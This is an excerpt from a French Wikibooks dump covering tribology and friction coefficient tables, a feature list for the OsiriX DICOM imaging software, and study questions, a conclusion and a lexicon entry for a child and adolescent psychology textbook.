conséquence du déclenchement de réactions chimiques, de nombreuses substances émettent par frottement des [[W:odeur|odeur]]s caractéristiques. On le vérifie aisément en entrechoquant deux rognons de [[W:silex|silex]] ou en perçant certaines matières plastiques. Sir [[W:Robert Boyle|Robert Boyle]] a signalé l'odeur fétide émise par frottement du [[W:verre|verre]]. Un doigt passé sur du [[W:plomb|plomb]] ou un métal contenant du plomb prend une odeur caractéristique qui permet, par exemple, de distinguer rapidement un acier ordinaire d'un acier à usinabilité améliorée contenant 1 à 1,5 % de plomb. Évidemment, cette méthode d'analyse immédiate tombe en défaut les jours de rhume, mais si vous en avez fait l'expérience, peut-être éviterez-vous un jour d'acheter un bijou contenant 95 % de plomb durci que l'on aura tenté de vous faire passer pour de l'[[W:argent|argent]] massif ! == Le frottement et les électrons périphériques == On peut maintenant, à juste titre, se demander ce qui peut bien relier des faits apparemment aussi disparates. Les phénomènes « macroscopiques » comme l'échauffement, les vibrations, ... mettent en jeu les [[W:masse|masse]]s, les [[W:raideur|raideur]]s, la [[W:conductivité thermique|conductivité thermique|conduction thermique]], etc. et on est à peu près en mesure de les étudier directement grâce aux lois habituelles de la [[W:mécanique|mécanique]] et de la [[W:thermodynamique|thermodynamique]]. Les autres phénomènes nous obligent à réfléchir sur ce que veut dire exactement le mot « surface ». Vue du large, la [[W:dune du Pyla|dune du Pyla]], vers [[W:Arcachon|Arcachon]], France, se découpe en douces formes arrondies bien distinctes sur un fond de ciel bleu (il fait toujours beau en [[W:Gironde|Gironde]], c'est bien connu). Des parapentistes profitent des courants ascendants provoqués par ce relief isolé au milieu d'une vaste étendue plate. Si l'un d'eux fait une fausse manœuvre et pique tête baissée vers la dune, il va vite constater qu'il existe bel et bien une séparation entre deux milieux distincts. Pourtant, la dune du Pyla n'a pas à proprement parler de surface, puisqu'elle n'est rien d'autre que le tas de sable le plus haut d'Europe. D'où la question qui, je le sens, vous taraude : les petits grains de sable ont-ils une surface ? Si nous les regardons dans le creux de notre main, ils nous apparaissent plutôt brillants mais vus au [[W:microscope électronique|microscope électronique]] à balayage ils montrent un autre visage, plein de bosses, de crevasses, de rayures, de porosités, ... mais c'est encore une apparence ! Le [[W:microscope à effet tunnel|microscope à effet tunnel]] nous permettrait d'y localiser les [[W:atome|atome]]s, que nous pouvons nous représenter sous la forme d'un [[W:noyau atomique|noyau]] très massif entouré d'un « nuage » d'[[W:électron|électron]]s qui gravitent autour de lui. Même si cette représentation est très grossière, imaginons qu'un « solide isolé » est un ensemble d'atomes et de molécules liés « rigidement », qui baigne dans un autre milieu « fluide » (atmosphère ou autre) composé quant à lui d'atomes et de molécules plus ou moins libres de leurs mouvements. Qui est aux premières loges lorsque deux solides frottent l'un contre l'autre ? Les électrons périphériques des atomes « extérieurs » de ces solides, qui sont directement concernés par les transferts d'énergie dus au frottement ! Arrachés ou rapportés en surnombre, ces électrons sont responsables de l'apparition de charges électriques positives ou négatives. Passant à un [[W:niveau d'énergie|niveau d'énergie]] supérieur, dont ils redescendent en émettant des [[W:photon|photon]]s, ils provoquent les phénomènes de triboluminescence. Ce sont encore eux qui déterminent les propriétés chimiques des [[W:élément chimique|élément]]s et que l'on appelle [[W:électron de valence|électrons de valence]]. On comprend mieux dès lors que tous les phénomènes physiques et chimiques qui mettent en jeu les électrons périphériques peuvent être influencés par le frottement et avoir une influence sur lui. Vaste programme : l'étude théorique du frottement passe par celle des couches électroniques externes des atomes. Documentation en ligne de OsiriX/Spécifications d'OsiriX 991 18190 2005-07-31T00:37:21Z Drendon 442 Comply with page naming conventions [[Documentation en ligne de OsiriX/A propos d'OsiriX|<]] [[Documentation en ligne de OsiriX|^]] [[Documentation en ligne de OsiriX/Système minimum nécessaire pour OsiriX|>]] ---- <center>[[Image:Logo.jpg]]</center> == Fonctionnalité actuelle du programme == '''Utilisation de fichiers DICOM''' * Lit et affiche tous les fichiers DICOM (mono-photogramme, multi-photogrammes) * Lit et affiche le nouveau format multi-photogrammes MRI/CT (groupe 5200) * JPEG Lossy (léjère dégradation), JPEG Lossless (sans degradation), JPEG2000, RLE * Monochrome1, Monochrome2, RGB, YBR, Planar, Palettes, ... * Supporte les pixels de proportions particulières (non-carrés) * 8, 12, 16 bits * Crée des fichiers DICOM 'SC' (Capture secondaire) depuis n'importe quelle reconstruction 2D/3D * Lit et affiche tous les Meta-Data DICOM (informations contenues dans l'en-tête du fichier) * Lit ET grave des CD/DVD DICOM (supporte DICOMDIR) * Exporte les fichiers DICOM a TIFF, JPEG, Quicktime, RAW, DICOM, PACS '''Intégration à réseau DICOM''' * Utilisateur d'espace de stockage (STORE-SCU, DICOM Send) * Fournisseur d'espace de stockage (STORE-SCP, DICOM Listener) * sélection/import de copies de fichiers (Query and Retrieve studies from a PACS server) '''Acceptance de fichiers Non-DICOM''' * Fichiers LSM de microscopie confocale Zeiss (8, 16, 32 bits) * Fichiers BioRadPIC de microscopie confocale (8, 16, 32 bits) * TIFF (8, 12, 16, 32 bits) * ANALYZE (8, 12, 16, 32 bits) * PNG, JPEG, PDF (multi-pages), Quicktime, AVI, MPEG, MPEG4 '''Visualisation 2D''' * Barre d'outils configurable * Interpolation Bicubique * Thick Slab : Photogrammes composés (Moyeenne, MIP Projection d'intensité maximum, rendu de volume) pour les CT et MRI multi-rangées de capteurs * ROIs (Régions d'Intérêt) : Polygones, Cercles, Crayon, Rectangles, Point, ... * Souris Multi-Boutons et Roulette supportés *CLUT (table de conversion d'intensités en couleurs) configurable * Filtres de convolution configurables 3x3 and 5x5 (filtres de squelette, ...) * Visualisateur 4D pour CT cardiaque et autres types de séries avec composante temporelle-rythmique * Fusion d'images d'examens PET-CT avec pourcentage d'incrustation paramétrable * Soustraction d'image pour XA * Fonctions externes supportées par plug-ins '''Rendu 3D''' * MPR (Reconstruction Multiplan) avec Thick Slab (Photogrammes composés par Moyenne, MIP Projection d'intensité maximum, rendu de volume) * MIP (Projection d'intensité maximum) * Rendu de Volume * Rendu de Surface * Vision Stéréo avec lunettes rouge/bleu * Export de n'importe quelle image 3D à Quicktime, Quicktime VR, TIFF, JPEG * Tous les affichages 3D supportent la fusion d'images pour les examens PET-CT, et le mode 4D pour les CT cardiaques. '''Optimisation''' * Accélération Altivec (Processeur de traitement vectoriel) jusqu'à 8-10 fois plus rapide * Optimisation G5 (Pour les meilleures performances sur microprocesseur G5) * Multi-tâches * Lecture asynchrone * Optimisation Multi-processeurs * Fondé sur les librairies Altivec & Multi-Threaded vImage * OpenGL pour les affichages 2D et tous les 3D * Accélérations grâce au processeur embarqué sur la carte graphique * X-Grid (répartition des tâches en réseau) '''Développement et recherche scientifique''' * OsiriX supporte une architecture complète et dynamique de plug-ins * Accès direct aux pixels en formats 32-bits float pour les images en noir et blanc, ou valeurs ARGB pour les images couleurs * Créer et administrer des fenêtres * Accès à toutes les fonctionnalités de Cocoa * Création et moification de rendus OpenGL * Plus rapide que IDL, Plus facile que ImageJ ! '''Fondé sur des éléments Open-Source''' * Cocoa (OpenStep, GNUStep, NextStep) * VTK (Visualization Toolkit) * ITK (Insight Toolkit) * PixelMed (David Clunie) * Papyrus 3.0 (Digital Imaging Unit) * DICOM Offis * OpenGL * XML-Expat * LibTIFF * Jasper * LibJPEG '''Architecture Open-Source''' ---- [[Documentation en ligne de OsiriX|OsiriX]] <br> [[Documentation en ligne de OsiriX/A propos d'OsiriX|<]] [[Documentation en ligne de OsiriX|^]] [[Documentation en ligne de OsiriX/Système minimum nécessaire pour OsiriX|>]] [[en:Online OsiriX Documentation/OsiriX Specifications]] [[es:Documentación en línea de OsiriX/Especificaciones_de_OsiriX]] [[ja:OsiriX オンライン解説文書/OsiriX の仕様]] Tribologie - Facteurs de frottement 992 43871 2006-06-05T10:38:33Z Jean-Jacques MILAN 114 /* Valeurs numériques indicatives */ caoutchouc sur verre [[Catégorie:Tribologie]] {{Tribologie}} == Notations == D'une manière générale '''il est préférable d'utiliser la lettre f plutôt que la lettre µ pour désigner les facteurs de frottement'''. En effet, dans les systèmes faisant intervenir des fluides, µ représente la viscosité dynamique et il convient d'éviter tout mélange des genres... == Gamme de variation == Le facteur de frottement, ou coefficient de frottement, est une grandeur qui varie en fonction de très nombreux paramètres : état de surface et lubrification évidemment, mais aussi vitesse, pression, temps de maintien en charge, etc. On relève les ordres de grandeur suivants : {| border="1" cellpadding="5" cellspacing="0" |- |plus de 1 |pour des surfaces dégazées dans le vide, avec parfois soudure immédiate |- |0,3 à 1 |pour le frottement de deux métaux non préparés dans l'air, à sec |- |0,1 à 0,2 |pour la plupart des métaux dans l'air avec les lubrifiants usuels (huile) dans le cas de la lubrification onctueuse |- |0,05 à 0,1 |pour des surfaces préparées convenablement, lubrifiées avec du graphite, du bisulfure de molybdène ou certains acides gras |- |0,02&nbsp;à&nbsp;0,05 |pour le frottement sur la glace, pour le PTFE sur lui-même sous charge suffisante à faible vitesse |- |0,01 à 0,001 |pour les paliers lisses en régime hydrodynamique bien calculés, en l'absence de tout contact solide (par exemple, dans les anciens essieux de wagons) |- |0,0001 |ou moins pour les guidages hydrostatiques ou aérostatiques |- |0,00001 |ou moins encore pour les paliers magnétiques actifs |- | |Dans ces deux derniers cas, il faut toutefois tenir compte, dans le bilan énergétique global, de la puissance nécessaire à l'alimentation du palier et fluide sous pression ou en électricité |} == Valeurs numériques indicatives == Les valeurs qui suivent sont des ordres de grandeur donnés à titre purement indicatif. Du reste dans les documentations techniques on trouve souvent des données très divergentes. {| border="1" cellpadding="5" cellspacing="0" |- | width="250px" align="center"|'''couple de matériaux''' | colspan="3" align="center"|'''facteur d'adhérence''' | colspan="3" align="center"|'''facteur de frottement''' |- | |'''à sec'''||'''limite'''||'''onctueux'''||'''à sec'''||'''limite'''||'''onctueux''' |- |'''acier doux''' sur | || || || || || |- |acier doux (air sec) | || || ||1,2|| || |- |acier doux (vapeur d'eau) | || || ||1,2 || || |- | |'''à sec'''||'''limite'''||'''onctueux'''||'''à sec'''||'''limite'''||'''onctueux''' |- |'''acier mi-dur''' sur | || || || || || |- |acier mi-dur |0,3|| || ||0,2||0,17||0,11 |- |acier trempé |0,2||0,17||0,14||0,17||0,15||0,1 |- |acier, boulonnerie | || || ||0,28 à 0,43|| || |- |acier, frettage par pression d'huile | || || || ||0,12|| |- |acier, frettage par pression de glycérine | || || || ||0,18|| |- |acier, frettage à chaud | || || || ||0,14|| |- |id., surfaces dégraissées | || || ||0,2|| || |- |alliages de WOOD |0,7 || ||0,1 || || || |- |aluminium (alliages) | || || ||0,16 ||0,12 ||0,08 |- |antifriction base étain | ||0,25 || ||0,8 ||0,20 ||0,11 |- |antifriction base plomb | ||0,25 || ||0,55 || ||0,10 à 0,08 |- |bisulfure de molybdène | || || || || || |- |70 MPa | || || || ||0,07 || |- |350 MPa | || || || ||0,05 || |- | 1 400 MPa | || || || ||0,045 || |- |2 800 MPa | || || || ||0,023 || |- | colspan="7" |Le facteur de frottement est moins élevé en ambiance sèche<br> Dans les huiles de viscosité moyenne, 1 % de bisulfure de molybdène peut diviser f par 2 |- |'''acier mi-dur''' (suite) sur | || || || || || |- |bronze |0,35 ||0,18 ||0,1 ||0,3 ||0,1 ||0,08 |- |caoutchouc | || || ||1 à 4 || || |- |carbure de tungstène |0,5 ||0,15 || || || || |- |chlorure de polyvinyle | || || ||0,5 || || |- |cuir | || || ||0,18 à 0,35 ||0,12 à 0,18 || |- |cupro-plomb |0,2 || || ||0,2 ||0,12 ||0,08 |- |fonte |0,4 ||0,18 ||0,1 ||0,4 || ||0,05 à 0,1 |- |graphite | || || ||0,1 || || |- |indium en film mince | || ||0,08 || || || |- |nickel (aboutit au grippage) | || || ||0,6 à 0,8 || || |- |nylon | || || ||0,3 || || |- |polyméthacrylate de méthyle | || || ||0,45 || || |- |polystyrène | || || ||0,5 || || |- |P.T.F.E. | || || ||0,05 || || |- | |'''à sec'''||'''limite'''||'''onctueux'''||'''à sec'''||'''limite'''||'''onctueux''' |- |'''acier inoxydable''' sur | || || || || || |- |alliage léger traité Zinal | || || ||0,2 || || |- |'''aluminium''' sur | || || || || || |- |aluminium (air sec) | || || ||1,9 || || |- |aluminium (vapeur d'eau) | || || ||1,1 || || |- |'''antifriction''' sur | || || || || || |- |antifriction |0,54 || || ||0,19 || || |- |'''bois''' sur | || || || || || |- |métal |0,6 à 0,7 || || ||0,12 ||0,4 à 0,5 ||0,1 |- |'''bronze''' sur | || || || || || |- |bronze | || || ||0,2 || || |- |fonte | || || ||0,21 || || |- |'''carbure de tungstène''' sur | || || || || || |- |lui-même, propre |0,2 || || || || || |- |'''chrome dur''' sur | || || || || || |- |acier |0,17 || || ||0,16 || || |- |antifriction |0,15 || || ||0,13 || || |- |chrome |0,14 || || ||0,12 || || |- | colspan="7" |Le chrome diminue le pouvoir mouillant des huiles par rapport à l'acier.<br>Il est utilisable avec une lubrification à l'eau en face du cuir, des plastiques et des élastomères. |- | |'''à sec'''||'''limite'''||'''onctueux'''||'''à sec'''||'''limite'''||'''onctueux''' |- |'''courroies''' | || || || || || |- |caoutchouc sur fonte |0,4 à 0,5 || || || || || |- |textile sur fonte |0,3 à 0,5 || || || || || |- |'''fer''' sur | || || || || || |- |fer | || || ||0,4 || || |- |'''fonte''' sur | || || || || || |- |cuir | || || ||0,18 à 0,35 ||0,12 à 0,18 || |- |fonte |1,2 ||0,16 ||0,14 || ||0,12 ||0,05 à 0,1 |- |'''P.T.F.E.''' voir acier | || || || || || |- |'''garnitures de freins'''<br> '''ou d'embrayages''' sur | || || || || || |- |acier | || || ||0,25 à 0,35 || || |- |'''glace ou neige''' sur | || || || || || |- |glace ou métaux jusqu'à -30°C | || || ||0,02 à 0,03 || || |- | colspan="7" |Le coefficient très bas est attribué à la fusion provoquée par le frottement.<br> Ce dernier est en revanche très difficile en-dessous de - 30 à - 40 °C, le coefficient atteint alors 0,4.<br> On explique ainsi des accidents d'avion montés sur skis atterrissant sur la banquise. |- | |'''à sec'''||'''limite'''||'''onctueux'''||'''à sec'''||'''limite'''||'''onctueux''' |- |'''graphite''' sur | || || || || || |- |graphite | || || ||0,2 || || |- |'''Nylon''' sur | || || || || || |- |nylon |0,5 ||0,5 || || || || |- |'''caoutchouc''' sur | || || || || || |- |verre sec |jusqu'à 2 || || || || || |- |'''pneumatiques''' sur | || || || || || |- |chaussée sèche |0,6 à 0,8 || || || || || |- |chaussée mouillée (hors aquaplaning) | ||0,3 à 0,4 || || || || |- |'''saphir ou rubis''' sur | || || || || || |- |saphir | || || ||0,2 || || |- |acier | || || ||0,15 || || |- |si nettoyage sous vide | || || ||0,6 || || |- |'''roues''' | || || || || || |- | colspan="7" | Le frottement de roulement s'exprime par un moment M proportionnel à la charge N <br> supportée par la roue et à une distance d qui constitue le coefficient de frottement de roulement. <br>M = d x N, avec d de 10 à 75 mm pour des roues d'automobiles. |- |} == ligne vide (outil) == |- | | || || || || || |- Répertoire des questions (Psychologie de l'Enfant et de l'Adolescent) 994 45225 2006-06-19T11:57:21Z 213.136.108.138 /* Chapitre 2 : L'enfance dans l'histoire et la méthodologie de la psychologie */ [[La Psychologie de l’Enfant et de l’Adolescent]] == Repertoire des questions == == Chapitre 1 : L'enfance , un concept au carrefour des sciences == * Quelle querelle philosophique a massivement influencé toute l'histoire de la psychologie jusqu'à nos jours ? ( 1 ) * Qu'est-ce que le propre de la méthode expérimentale ? ( 2 ) * Quel fût le rôle de la statistique pour la psychologie expérimentale ? ( 3 ) * Comment peut-on définir l'intelligence ? ( 4 ) * Comment ont été créé les premiers tests de l'intelligence ? ( 5 ) * Comment définit-on le quotient intellectuel ( Q.I. ) ? ( 6 ) * Quel est l'état actuel de la querelle entre inné et acquis ? ( 7 ) comment faire quand tes amis t'ont pas gardé de place au refectoire comment réagir? == Chapitre 2 : L'enfance dans l'histoire et la méthodologie de la psychologie == * Qu'est-ce qui différencie la méthode clinique de la méthode expérimentale ? ( 8 ) * Dans quel but un psychologue clinicien utilise-t-il des tests psychologiques avec un enfant ? ( 9 ) * Outre l'aspect psychométrique à quoi sert un bilan psychologique ? ( 10 ) * Quelle est la différence entre un test psychométrique et un test de personnalité ? ( 11 ) * Dans quel but a-t-on conçu les tests projectifs ? ( 12 ) * Comment peut-on définir succintement la psychanalyse ? (13) == Chapitre 3 : Approches psychologiques de l'enfant == * Comment définit-on 'l'observation transversale' et 'l'observation longitudinale' ? ( 14 ) * Comment peut-on définir 'l'observation pure' ? ( 16 ) * Une observation " neutre " ou " objective " est-elle possible ? ( 17 ) * L'observation dépend-elle de " la théorie " du chercheur ? ( 18 ) * Comment l'observation psychanalytique du nourrisson peut-elle être un 'outil thérapeutique' ? ( 19 ) * * Que signifie le mot " jeu " au juste ? ( 21 ) * Quelle est la définition du " jeu " par R.Caillois ? ( 22 ) * Que signifie le mot " éthologie " ? ( 23 ) * Qu'est-ce que les éthologues étudient par rapport au jeu ? ( 24 ) * Quel rôle le jeu a-t-il dans la relation mère-nourrisson ? (25 ) * Comment Piaget considère-t-il le jeu ? ( 26 ) * Comment Piaget définit-il l'intelligence ? ( 27 ) * Comment Piaget définit-il le jeu en général ? ( 28 ) * Que dit Piaget des jeux d'exercices ? ( 29 ) * Comment évolue le jeu symbolique d'après Piaget ? ( 30 ) * Comment Piaget explique-t-il le jeu ? ( 31 ) * Comment Wallon conçoit-il le jeu ? ( 32 ) * Quelle est la fonction du jeu d'après Wallon ? (33 ) * Quel rôle jouent la fiction et l'imitation dans le jeu pour Wallon ? ( 34 ) * Comment Freud conçoit-il le jeu ? ( 35 ) * Qui est à l'origine du terme " le jeu de la bobine " ? ( 36 ) * Quel rôle joue la maitrîse dans le jeu de la bobine ? ( 37 ) * Comment les psychanalystes contemporains analysent-ils le jeu de la bobine ? ( 38 ) * Quel psychanalyste d'enfants a approfondi le plus la compréhension du jeu ? ( 39 ) * Comment Winnicott conçoit-il la naissance du jeu chez le bébé ? ( 40 ) * Comment Winnicott précise-t-il le rôle joué par la zone d'illusion ? ( 41 ) * Que sont les phénomènes transitionnels ? ( 42 ) * Dans ce contexte , qu'est-ce qu'est 'l'objet transitionnel' ? ( 43 ) * Comment et pourquoi " naît " l'objet transitionnel ? ( 44 ) * En quoi l'objet transitionnel peut-il être considéré comme paradoxal ? ( 45 ) * Quel lien Winnicott fait-il entre les phénomènes transitionnels et le jeu ? ( 46 ) * Que dit Winnicott à propos du jeu ? ( 47 ) * Quel lien Winnicott fait-il entre jeu et créativité ? ( 48 ) * Pourquoi Winnicott considère-t-il le jeu comme quelque chose de précaire ? ( 49 ) * Comment l'enfant sortira-t-il de la zone d'illusion commune avec la mère ? ( 50 ) * En synthétisant les approches de plusieurs psychanalystes d'enfants et plus particulièrement de Winnicott quelles sont les raisons du jeu chez l'enfant ? ( 51 ) * Comment peut-on définir la sexualité infantile ? ( 52 ) * Comment-on définir l'étayage ? ( 53 ) * Comment peut-on concevoir le point de vue dynamique ? ( 54 ) * Qu'entend-on par le terme 'point de vue topique' ? ( 55 ) * Qu'est-ce qu'on entend par le terme " économique " en psychanalyse ? ( 56 ) * Comment peut-on définir les pulsions ? ( 57 ) * Qu'est-ce que le refoulement ? ( 58 ) * Que peut-on retenir du stade oral-décrit ci-dessus-comme points essentiels ? ( 59 ) * Quels essentiels retient-on de la première phase du stade anal , dite " expulsive " ? ( 60 ) * Quels sont les différents points à dégager et à retenir de la 2e phase du stade anal-décrit ci-dessus-dite " phase expulsive " ? ( 61 ) * Quels sont les points marquants du stade phallique et qu'est-ce qui le différencie fondamentalement des deux stades précédents ? ( 62 ) * Quels sont les principaux points déterminants qu'il faut retenir de l'Œdipe un chez la fille et deux chez le garçon ? ( 63 ) * Que faut-il retenir du Sur-Moi et de l'Idéal du Moi,quelles sont leurs fonctions ? ( 64 ) * Quelle est la fonction de la période de latence par rapport au développement intellectuel et pourquoi ? ( 65 ) * Comment peut-on définir la puberté et ses principales composantes à la fois au niveau individuel et au niveau social ? ( 66 ) == Chapître 4 : Le concept de " stade de développement " en psychologie génétique == * Quel genre d'exemple de système purement déscriptif-c'est-à-dire ne proposant aucun élément explicatif-concernant le développement de l'enfant pourrait-on imaginer ? ( 67 ) * Que recouvre le concept de " stade " en psychologie génétique ? ( 68 ) * Sur quels points portent principalement les divergences entre Wallon et Piaget ? ( 69 ) * Comment Piaget conçoit-il la psychogenèse ? ( 70 ) * Quel est le point de vue de Wallon sur ce point ? ( 71 ) * Comment se fait la psychogénèse d'après Wallon ? ( 72) * De quelle manière la position de Freud se différencie-t-elle de celles de Piaget et de Wallon ? ( 73 ) * Pour Wallon , sur quoi repose le développement de la personnalité infantile ? ( 74 ) * Le couple différenciation-intégration joue quel rôle d'après Piaget ? ( 75 ) == Chapître 5 : Apports théoriques de la psychologie génétique == * En quoi la théorie proposée par Wallon peut être considérée comme unitaire ? ( 76 ) * En quoi la psychogénèse infantile est-elle " discontinue " dans le modèle wallonien ? ( 77 ) * Comment découpe Wallon le développement de l'enfant au niveau psychologique ? ( 78 ) * Quels sont les deux catégories de concepts sur lesquelles repose la conceptualisation wallonniene quant au développement ? ( 79 ) * De quelle façon Piaget a-t-il 'découpé' le développement intellectuel de l'enfant ? ( 80 ) * Qu'entend Piaget par la " permanence de l'objet " ? ( 81 ) * Quelles sont les nouvelles possibilités de l'enfant lors de la période " préopératoire " , d'après Piaget ? ( 82) * Quelles sont les cinq fonctions qui-d'après Piaget-qui témoignent de l'avènement de la " fonction sémiotique " ? ( 83 ) * Quelle importance Piaget accorde-t-il à la fonction sémiotique ? ( 84 ) * Comment Piaget conçoit-il le développement de la pensée lors de la phase préopératoire ? ( 85 ) * Comment Piaget a-t-il subdivisé la phase du développement qu'il appelle " période opératoire " ? ( 86 ) * Quel est le critère principal qui permet d'apprécier chez un enfant le passage du raissonnement par opérations concrètes au raisinnement par opérations formelles ? ( 87 ) * Quels sont les points essentiels de nos connaissances actuelles sur la vie intra-utérine du fœtus ? ( 88 ) * Quels éléments principaux faut-il retanir de la relation mère-fœtus d'une part et des changements à la naissance d'autre part ? ( 89 ) * Qu'appelle-t-on " le fantasme de l'enfant imaginaire " et quels sont ses principaux éléments constitutifs ? ( 90 ) * Avant d'aller plus loin essayez de retenir les principales " compétences " du nouveau-né et plus particulièrement celles qui ont un retentissement sur la relation mère-enfant ! ( 91 ) * Pouvez-vous mentionner les points principaux concernant la communication précoce du nourrisson avec son entourage ? ( 92 ) * Pouvez-vous mentionner quelques aspects de la communication précoce mère-nourrisson , autres que ceux que vous avez décrit ci-dessus ? ( 93 ) * Essayez de citer quelques mécanismes de régulation auniveau de la communication entre le nourrisson et son environnement ? ( 94 ) * Peut-on concevoir un nourrisson seul ? ( 95 ) * Que peut-on dire et retenir des différentes interactions mère-nourrisson autour de l'allaitement ? ( 96 ) * Pour quelles raisons de telles études sur le 'dialogue tonique' entre une mère et son bébé au cours de l'allaitement peuvent-elles avoir une importance capitale , voire vitale ? ( 97 ) * Que peut-on retenir de la notion 'dialogue tonique' et des éléments qui s'y rattachent ? ( 98 ) * Que peut-on dire du contact visuel mère-nourrisson ? ( 99 ) * Que faut-il retenir de la relation père-nourrisson ? (100 ) * Que peut-on retenir de façon sommaire de la genèse du désir d'enfant chez la femme et de l'accordage des rythmes mère-nourrisson ? ( 101 ) * Comment peut-on expliquer l'intérêt relativement récent pour une étude clinique approfondie de l'adolescence ? (102) * En quoi l'adolescence peut-elle être " révélatrice " ? (103) * En quoi y a-t-il " urgence " dans le travail psychique à l'adolescence ? (104) * Comment peut-on comprendre l'articulation , parfois difficile , entre la pulsion et son objet ? (105) * Comment peut-on comprendre 'la position dépressive' comme un point nodal de l'adolescence ? ( 106) * Comment peut-on comprendre ' les fluctuations narcissiques' de l'adolescent ? ( 107) * Essayez de résumer quelques points de l'évolution sociologique qui peuvent participer au mal-être des adolescents ! ( 108) == Chapître 6 : Applications de la psychologie génétique == * De façon grossière comment peut-on différencier les maladies de l'enfant et de quelle façon l'enfant interpelle l'équipe soignante ? ( 109 ) * Comment un enfant malade peut vivre son corps ? ( 110 ) * De quelle façon les progrès de la médecine changent-ils la " donne psychologique " de l'enfant malade ? ( 111 ) * En quoi le psychologue-- avec ses " outils " habituels-peut-il être débordé par certaines maladies de l'enfant ? ( 112 ) * De quelles façons pourrait-on atténuer l'aspect traumatogène de l'hospitalisation pour l'enfant malade ? ( 113 ) * Pour quelles raisons peut-on affirmer que la prise en charge hospitalière de certains adolescents malades est totalement inadaptée ? ( 114 ) * Quel est le rôle social de l'hôpital et de quelle manière peut-on y découvrir des situations à risques ( pour l'enfant) ? ( 115 ) * Comment l'hôpital pourrait-il soigner au niveau psychologique et atténuer les souffrances de toutes sortes engendrées par les maladies physiques ? (116 ) * Avec l'originalité de la démarche psychopathologique quels sont les écueils-notamment par rapport aux enfants ? ( 117 ) * Où peut s'exercer l'application de la psychopathologie ? ( 118 ) * Quel est l'axe principal de la psychopathologie appliquée ? ( 119 ) * Comment peut-on définir l'objets et les moyens d'étude de la psychopathologie infantile ? ( 120 ) * Quels sont les quatre paramètres que la psychopathologie cherche à évaluer chez un enfant ou adolescent en souffrance ? ( 121 ) * En quoi consiste l'opposition ( certes quelque peu artificielle ) entre les grandes approches de la psychopathologie infantile ? ( 122 ) * Par rapport à la question précédente ( page 192 ) explicitez davantage votre réponse à l'aide d'exemples ! ( 123 ) * Comment peut-on définir le terme de " enfance handicapée " , même si l'on sait que ce terme comporte des lacunes ? ( 124 ) * Comment définit-on le terme d' " insuffisance mentale " ? ( 125 ) * Après cette définition de Zazzo comment faut-il différencier l' " insuffisance mentale " et " débilité mentale " ? ( 126 ) * Qu'est-ce qui différencie pour un même enfant la détermination d'un Q.I. et du niveau du raisonnement au sens piagetien du terme ? ( 127 ) * Avec les éléments apportés dans ce chapître et les connaissances exposées antérieurement , quelles pistes pouvez-vous proposer pour une une psychopédagogie moderne s'adressant à l'enfant " handicapé mental " ? ( 128 ) * Avec les éléments indiqués ci-dessus comment pourriez-vous différencier une psychothérapie stricto sensu , une psychothérapie au sens large et une psychothérapie d 'enfants ? ( 129 ) * Comment pourrait-on définir plus en avant la spécificité de la psychothérapie d'enfants ? ( 130 ) * Quelle place faut-il accorder à la " réalité " de l'enfant , c'est-à-dire ce qu'il vit tous les jours dans sa famille ? ( 131 ) * Qui doit garder les liens avec les parents et sous quelle forme ? ( 132 ) Conclusion (Psychologie de l'Enfant et de l'Adolescent) 995 41222 2006-04-29T17:28:19Z Pseudomoi 395 /* Conclusion */ {{Psychologie de l'enfant et de l'adolescent}} [[La Psychologie de l’Enfant et de l’Adolescent]] == Conclusion == Comme nous l'avons vu la psychologie s'est détachée de la philosophie en emportant une querelle théorique importante avec elle. Cette querelle entre " inné " et " acquis " a connu des hauts et des bas en fonction des progrès de la science qui permettait d'étayer tantôt telle et tantôt telle autre hypothèse. Sur ce sujet-nous l'avons vu au cours du livre-un certain consensus semble se faire jour quant à ce débat. D'autres sujets en psychologie ont provoqué des phénomènes similaires, c'est-à-dire une querelle avec des moments paroxystiques , et un apaisement avec souvent une espèce de dégagement à travers une 3e voie ensuite (p.ex. comportementalisme/psychanalyse; observation vidéo des nourrissons / hypothèses sur l'interaction fantasmatique mère-nouveau-né; etc. ). On se rappellera une autre " querelle " mentionnée ci-dessus illustre le même phénomène : Ci-dessus nous avons déjà évoqué Winnicott dont certains aspects de son œuvre n'ont pas été pris en compte comme il convenait. Dans un tout autre domaine il en est de même avec certains aspects de l'œuvre de Wallon que nous avions présenté quant à la construction de l'intelligence chez l'enfant et l'aspect continu ou discontinu de cette évolution ( voir notamment 4.2 et 4.3 quant aux problèmes soulevés par le concept de " stade " en psychologie de l'enfant) . Dans ces sous-chapitres nous avions laissé en état la querelle théorique entre Piaget et Wallon. Pour caricaturer d'après. Piaget l'intelligence chez l'enfant se construit dans le jeu réciproque de l'assimilation et l'accommodation et l'on ne perçoit pas chez lui quel rôle y joue l'environnement humain de l'enfant. Alors que -là aussi nous allons faire un raccourci-pour Wallon la construction de l'intelligence se faisait dans une rencontre entre la maturation physiologique de l'enfant et les " influences sociologiques " dont font naturellement partie les parents de l'enfant. Mais il y encore autre chose à retenir : * Ce qui paraît désolant dans ces mouvements théoriques cycliques c'est qu'il ne s'agit pas d'une recherche fondamentale quelconque mais d'un travail délicat sur et avec l'être humain et ses souffrances {un être joyeux n'a pas besoin de psychologue }. * Un autre phénomène désolant dans le domaine de la psychologie en général et de la psychologie de l'enfant en particulier est l'extrapolation hâtive de données spécifiques à une situation précise et bien définie à moultes situations vagues , floues ou mal définies ce qui enlève la validité des données psychologiques initiales. * Un dernier point qui nous paraît important est d'ordre éthique dans ce vaste secteur médico-pédagogico-psycho-social dans lequel nous intervenons-ou apprêtons à le faire-il y a de nombreuses spécialités professionnelles et même avec beaucoup d'expérience professionnelle un intervenant seul ne peut pas tout maitriser , ne peut pas faire fâce à toutes les éventualités. Ce qui compte dans notre vaste secteur est la synergie ( et il n'y a rien d'humiliant à demander conseil ou à passer le relais !) {{Psychologie de l'enfant et de l'adolescent}} Lexique (Psychologie de l'Enfant et de l'Adolescent) 996 12650 2004-11-12T00:21:03Z 200.95.48.254 Karl Wick [[Psychologie de l'enfant et de l'adolescent]] == Lexique de quelques auteurs cités : == == DOLTO Françoise, née Marette (1908-1988) == Issue d'un milieu familial pathogène-marquée particulièrement par des idées politiques de droite et un catholicisme excessif-Françoise Marette était très mal dans sa peau arrivée à la fin de l'adolescence. A peu près simultanément elle débuta des études de médecine et une psychanalyse avec René Laforgue au début des années 30. En 1938 elle fît la rencontre de Jacques Lacan et ce fut le début d'une amitié de 40 ans. Durant les années 50 et au début des années 60 au cours des différentes scissions du mouvement psychanalytique français elle fut toujours du côté de Lacan et se trouva avec lui en 1964 à l'origine de la fondation de l'Ecole freudienne de Paris. Elle se distingua dans sa pratique par une très grande proximité avec 